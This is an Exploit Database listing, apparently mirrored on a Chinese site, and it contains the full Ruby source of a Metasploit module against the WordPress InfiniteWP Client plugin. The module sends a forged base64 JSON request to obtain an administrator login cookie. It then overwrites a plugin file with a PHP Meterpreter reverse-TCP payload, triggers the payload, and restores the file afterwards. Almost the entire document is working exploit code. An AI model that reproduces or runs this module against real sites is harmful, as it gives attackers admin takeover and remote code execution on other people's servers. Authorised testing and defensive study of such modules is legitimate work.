WordPress Plugin InfiniteWP – Client Authentication Bypass (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2020-02-11
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48047/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  
  Rank = ManualRanking
  
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::Remote::AutoCheck
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'WordPress InfiniteWP Client Authentication Bypass',
  'Description'=> %q{
  This module exploits an authentication bypass in the WordPress
  InfiniteWP Client plugin to log in as an administrator and execute
  arbitrary PHP code by overwriting the file specified by PLUGIN_FILE.
  
  The module will attempt to retrieve the original PLUGIN_FILE contents
  and restore them after payload execution. If VerifyContents is set,
  which is the default setting, the module will check to see if the
  restored contents match the original.
  
  Note that a valid administrator username is required for this module.
  
  WordPress >= 4.9 is currently not supported due to a breaking WordPress
  API change. Tested against 4.8.3.
  },
  'Author' => [
  'WebARX', # Discovery
  'wvu' # Module
  ],
  'References' => [
  ['WPVDB', '10011'],
  ['URL', 'https://www.webarxsecurity.com/vulnerability-infinitewp-client-wp-time-capsule/'],
  ['URL', 'https://www.wordfence.com/blog/2020/01/critical-authentication-bypass-vulnerability-in-infinitewp-client-plugin/'],
  ['URL', 'https://blog.sucuri.net/2020/01/authentication-bypass-vulnerability-in-infinitewp-client.html']
  ],
  'DisclosureDate' => '2020-01-14',
  'License'=> MSF_LICENSE,
  'Platform' => 'php',
  'Arch' => ARCH_PHP,
  'Privileged' => false,
  'Targets'=> [['InfiniteWP Client < 1.9.4.5', {}]],
  'DefaultTarget'=> 0,
  'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/reverse_tcp'}
  ))
  
  register_options([
  OptString.new('USERNAME',[true, 'WordPress username', 'admin']),
  OptString.new('PLUGIN_FILE', [true, 'Plugin file to edit', 'index.php'])
  ])
  
  register_advanced_options([
  OptBool.new('VerifyContents', [false, 'Verify file contents', true])
  ])
  end
  
  def username
  datastore['USERNAME']
  end
  
  def plugin_file
  datastore['PLUGIN_FILE']
  end
  
  def plugin_uri
  normalize_uri(wordpress_url_plugins, plugin_file)
  end
  
  def check
  unless wordpress_and_online?
  return CheckCode::Unknown('Is the site online and running WordPress?')
  end
  
  unless (version = wordpress_version)
  return CheckCode::Unknown('Could not detect WordPress version')
  end
  
  if Gem::Version.new(version) >= Gem::Version.new('4.9')
  return CheckCode::Safe("WordPress #{version} is an unsupported target")
  end
  
  vprint_good("WordPress #{version} is a supported target")
  
  check_version_from_custom_file(
  normalize_uri(wordpress_url_plugins, '/iwp-client/readme.txt'),
  /^= ([\d.]+)/,
  '1.9.4.5'
  )
  end
  
  # https://plugins.trac.wordpress.org/browser/iwp-client/tags/1.9.4.4/init.php
  def auth_bypass
  json = {
  'iwp_action' => %w[add_site readd_site].sample,
  'params' => {'username' => username}
  }.to_json
  
  res = send_request_cgi(
  'method' => 'POST',
  'uri'=> wordpress_url_backend,
  'data' => "_IWP_JSON_PREFIX_#{Rex::Text.encode_base64(json)}"
  )
  
  unless res && res.code == 200 && !(cookie = res.get_cookies).empty?
  fail_with(Failure::NoAccess, "Could not obtain cookie for #{username}")
  end
  
  print_good("Successfully obtained cookie for #{username}")
  vprint_status("Cookie: #{cookie}")
  
  cookie
  end
  
  def exploit
  # NOTE: Automatic check is implemented by the AutoCheck mixin
  super
  
  print_status("Bypassing auth for #{username} at #{full_uri}")
  unless (@cookie = auth_bypass).include?('wordpress_logged_in')
  fail_with(Failure::NoAccess, "Could not log in as #{username}")
  end
  
  print_good("Successfully logged in as #{username}")
  write_and_exec_payload
  end
  
  def write_and_exec_payload
  print_status("Retrieving original contents of #{plugin_uri}")
  contents = wordpress_helper_get_plugin_file_contents(@cookie, plugin_file)
  
  unless contents
  fail_with(Failure::UnexpectedReply, "Could not retrieve #{plugin_uri}")
  end
  
  print_good("Successfully retrieved original contents of #{plugin_uri}")
  vprint_status('Contents:')
  print(contents)
  
  print_status("Overwriting #{plugin_uri} with payload")
  unless wordpress_edit_plugin(plugin_file, payload.encoded, @cookie)
  fail_with(Failure::UnexpectedReply, "Could not overwrite #{plugin_uri}")
  end
  
  print_good("Successfully overwrote #{plugin_uri} with payload")
  
  print_status("Requesting payload at #{plugin_uri}")
  send_request_cgi({
  'method' => 'GET',
  'uri'=> plugin_uri
  }, 0)
  
  restore_contents(contents)
  end
  
  def restore_contents(og_contents)
  print_status("Restoring original contents of #{plugin_uri}")
  unless wordpress_edit_plugin(plugin_file, og_contents, @cookie)
  fail_with(Failure::UnexpectedReply, "Could not restore #{plugin_uri}")
  end
  
  return unless datastore['VerifyContents']
  
  contents = wordpress_helper_get_plugin_file_contents(@cookie, plugin_file)
  
  unless contents == og_contents
  fail_with(Failure::UnexpectedReply,
  "Current contents of #{plugin_uri} DO NOT match original!")
  end
  
  print_good("Current contents of #{plugin_uri} match original!")
  end
  
  end